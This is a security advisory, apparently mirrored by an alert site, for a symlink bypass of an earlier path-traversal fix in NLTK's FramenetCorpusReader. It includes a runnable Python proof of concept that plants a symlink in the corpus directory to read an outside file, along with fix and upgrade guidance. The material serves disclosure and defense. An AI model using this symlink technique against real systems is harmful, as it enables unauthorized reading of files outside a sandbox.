GHSA-f833-7jw8-xwrv: Path Traversal

Published Sep 8, 2026
·
Updated

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding rejectunsafepathcomponent(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self.root.join(fileid)), which is a plain lexical join, not the symlink-resolving, requiredroot-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

- framebyname() reads <framedir>/<name>.xml - lufile() reads <ludir>/lu<id>.xml - doc() reads <fulltextdir>/<filename>

All three follow the same chain: rejectunsafepathcomponent(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no requiredroot.

Proof of concept

Self-contained, runnable end to end.

python import os import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp() corpusroot = os.path.join(root, "framenetv17") framedir = os.path.join(corpusroot, "frame") secretdir = os.path.join(root, "outsideframenetroot") os.makedirs(framedir) os.makedirs(secretdir)

with open(os.path.join(corpusroot, "frRelation.xml"), "w") as f: f.write("<frameRelations/>")

secretpath = os.path.join(secretdir, "stolen.xml") with open(secretpath, "w") as f: f.write( '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">' "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>" "</frame>" )

Attacker plants this inside <corpusroot>/frame/. No path separators, so it passes rejectunsafepathcomponent cleanly. linkpath = os.path.join(framedir, "evillink.xml") os.symlink(secretpath, linkpath)

reader = FramenetCorpusReader(corpusroot, []) reader.frameidx = {"dummy": {"name": "dummy"}} # skip unrelated index build

result = reader.framebyname("evillink") # normal, routine call, no ".." anywhere print("frame name:", result["name"]) print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secretpath, a file entirely outside corpusroot, via a single, unmodified, public API call. No exception is raised anywhere in the chain; rejectunsafepathcomponent passes because "evillink" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, lufile() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised. Why this is in scope

- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool. - Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass requiredroot=self.root to validatepath() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Affected Software

1 affected componentFixes available
pip/nltk>=3.10.0<3.10.2
3.10.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/nltk to a version that resolves this vulnerability.

    Fixed in 3.10.2
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-xh95-f55m-82fw
  3. Configuration

    Update the three FramenetCorpusReader call sites that currently do: _reject_unsafe_path_component(...) → self.abspath(os.path.join(..., value)) → XMLCorpusView(...) via PathPointer.open() without required_root. Modify them to use CorpusReader.open() so that path resolution is scoped and symlinks are resolved within required_root (e.g., pass required_root=self._root to validate_path as NKJPCorpusReader already does for its sibling advisory), rather than using self.abspath() alone.

    NLTK FramenetCorpusReader (nltk/corpus/reader/framenet.py) Path handling / required_root validation = Route frame_by_name(), _lu_file(), and doc() through CorpusReader.open() (or call validate_path() with required_root=self._root) instead of self.abspath() + raw PathPointer.open()

Event History

Sep 8, 2026
Advisory Published
via GitHub·04:39 PM
Data Sourced
via GitHub·04:39 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does the earlier path-traversal fix protect against this issue?

No. The earlier guard blocks literal separators, dot-dot components, and Windows drive prefixes, but it does not resolve symlinks or verify that the resolved file remains under the corpus root.

2

What conditions are needed to exploit the issue?

A symlink must be placed in the corpus's own subdirectory and point to a file outside the corpus root. Its name can contain no path separators, allowing it to pass the existing unsafe-component check.

3

Which deployments are exposed in practice?

Deployments are exposed where an attacker can place or influence symlinks within the relevant corpus subdirectory and cause the affected Framenet corpus reader path to be used. The resulting read can access an XML file outside the corpus root.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203